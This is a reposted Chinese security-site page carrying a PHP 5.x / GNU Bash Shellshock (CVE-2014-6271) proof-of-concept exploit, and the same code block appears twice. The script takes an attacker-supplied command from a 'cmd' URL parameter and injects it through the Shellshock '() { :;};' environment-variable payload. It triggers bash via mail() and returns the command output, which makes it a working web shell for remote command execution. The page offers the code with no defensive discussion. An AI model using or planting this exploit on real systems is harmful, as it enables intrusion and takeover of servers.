PHP 5.x / Bash Shellshock Proof Of Concept

没穿底裤 2020年1月1日05:47:29评论343 views字数 11阅读0分2秒阅读模式
摘要

[php]

// Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit
// Date: 22/11/2014
// Exploit Author: ssbostan
// Vendor Homepage: http://www.gnu.org/software/bash/
// Software Link: http://ftp.gnu.org/gnu/bash/
// Version: <= 4.3
// Tested on: Fedora 17, Ubuntu 8.04
// CVE: http://www.cvedetails.com/cve/CVE-2014-6271/

if(isset($_GET["cmd"]) && !empty($_GET["cmd"]))
{
$file=tempnam("/tmp", "xpl");
putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}");
mail("xpl@localhost", "", "", "", "-bv");
echo file_get_contents($file);
unlink($file);
}

?>
[/php]

[php]

// Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit
// Date: 22/11/2014
// Exploit Author: ssbostan
// Vendor Homepage: http://www.gnu.org/software/bash/
// Software Link: http://ftp.gnu.org/gnu/bash/
// Version: <= 4.3
// Tested on: Fedora 17, Ubuntu 8.04
// CVE: http://www.cvedetails.com/cve/CVE-2014-6271/

if(isset($_GET["cmd"]) && !empty($_GET["cmd"]))
{
$file=tempnam("/tmp", "xpl");
putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}");
mail("xpl@localhost", "", "", "", "-bv");
echo file_get_contents($file);
unlink($file);
}

?>
[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:47:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 5.x / Bash Shellshock Proof Of Concepthttp://cn-sec.com/archives/76037.html

发表评论

匿名网友 填写信息